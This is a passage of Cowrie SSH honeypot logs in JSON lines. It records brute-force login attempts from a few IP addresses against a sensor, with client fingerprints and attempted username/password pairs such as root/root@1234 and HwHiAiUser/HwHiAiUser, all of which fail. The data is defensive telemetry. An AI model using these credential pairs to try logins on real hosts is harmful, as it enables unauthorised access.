a-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:40.956398Z","src_ip":"176.65.139.95","session":"914601065f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:41.342421Z","src_ip":"176.65.139.95","session":"914601065f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:42.427817Z","src_ip":"176.65.139.95","session":"914601065f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49618,"dst_ip":"159.203.135.109","dst_port":22,"session":"664750f3cd01","protocol":"ssh","message":"New connection: 176.65.139.95:49618 (159.203.135.109:22) [session: 664750f3cd01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:47.449014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:47.452708Z","src_ip":"176.65.139.95","session":"664750f3cd01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:47.543220Z","src_ip":"176.65.139.95","session":"664750f3cd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:47.877320Z","src_ip":"176.65.139.95","session":"664750f3cd01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:48.969769Z","src_ip":"176.65.139.95","session":"664750f3cd01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37136,"dst_ip":"159.203.135.109","dst_port":22,"session":"60a1ccc27396","protocol":"ssh","message":"New connection: 176.65.139.95:37136 (159.203.135.109:22) [session: 60a1ccc27396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:54.080860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:54.084354Z","src_ip":"176.65.139.95","session":"60a1ccc27396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:54.172818Z","src_ip":"176.65.139.95","session":"60a1ccc27396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:54.477294Z","src_ip":"176.65.139.95","session":"60a1ccc27396","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:55.561266Z","src_ip":"176.65.139.95","session":"60a1ccc27396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50334,"dst_ip":"159.203.135.109","dst_port":22,"session":"28784ae19b78","protocol":"ssh","message":"New connection: 80.94.92.186:50334 (159.203.135.109:22) [session: 28784ae19b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:58.591138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:58.665808Z","src_ip":"80.94.92.186","session":"28784ae19b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:58.784862Z","src_ip":"80.94.92.186","session":"28784ae19b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse@123","message":"login attempt [lighthouse/lighthouse@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:36:59.333226Z","src_ip":"80.94.92.186","session":"28784ae19b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45188,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa5dd5d77d38","protocol":"ssh","message":"New connection: 176.65.139.95:45188 (159.203.135.109:22) [session: aa5dd5d77d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:00.748907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:00.756866Z","src_ip":"176.65.139.95","session":"aa5dd5d77d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:00.812573Z","src_ip":"80.94.92.186","session":"28784ae19b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:00.839308Z","src_ip":"176.65.139.95","session":"aa5dd5d77d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:01.334855Z","src_ip":"176.65.139.95","session":"aa5dd5d77d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:02.422829Z","src_ip":"176.65.139.95","session":"aa5dd5d77d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45192,"dst_ip":"159.203.135.109","dst_port":22,"session":"c83a337f3e96","protocol":"ssh","message":"New connection: 176.65.139.95:45192 (159.203.135.109:22) [session: c83a337f3e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:07.515904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:07.524465Z","src_ip":"176.65.139.95","session":"c83a337f3e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:07.599019Z","src_ip":"176.65.139.95","session":"c83a337f3e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:07.946303Z","src_ip":"176.65.139.95","session":"c83a337f3e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:09.029920Z","src_ip":"176.65.139.95","session":"c83a337f3e96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39426,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c334abcff26","protocol":"ssh","message":"New connection: 176.65.139.95:39426 (159.203.135.109:22) [session: 4c334abcff26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:14.106898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:14.111095Z","src_ip":"176.65.139.95","session":"4c334abcff26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:14.191892Z","src_ip":"176.65.139.95","session":"4c334abcff26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:14.488619Z","src_ip":"176.65.139.95","session":"4c334abcff26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:15.587214Z","src_ip":"176.65.139.95","session":"4c334abcff26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37228,"dst_ip":"159.203.135.109","dst_port":22,"session":"77f64c8ae254","protocol":"ssh","message":"New connection: 159.203.92.129:37228 (159.203.135.109:22) [session: 77f64c8ae254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:19.764438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:19.774486Z","src_ip":"159.203.92.129","session":"77f64c8ae254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:19.779042Z","src_ip":"159.203.92.129","session":"77f64c8ae254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"HwHiAiUser","password":"HwHiAiUser","message":"login attempt [HwHiAiUser/HwHiAiUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:19.791643Z","src_ip":"159.203.92.129","session":"77f64c8ae254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:20.798740Z","src_ip":"159.203.92.129","session":"77f64c8ae254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38990,"dst_ip":"159.203.135.109","dst_port":22,"session":"e87db037e3bb","protocol":"ssh","message":"New connection: 176.65.139.95:38990 (159.203.135.109:22) [session: e87db037e3bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:20.825677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:20.830161Z","src_ip":"176.65.139.95","session":"e87db037e3bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:20.914037Z","src_ip":"176.65.139.95","session":"e87db037e3bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:21.168439Z","src_ip":"176.65.139.95","session":"e87db037e3bb","protocol":"ssh"}
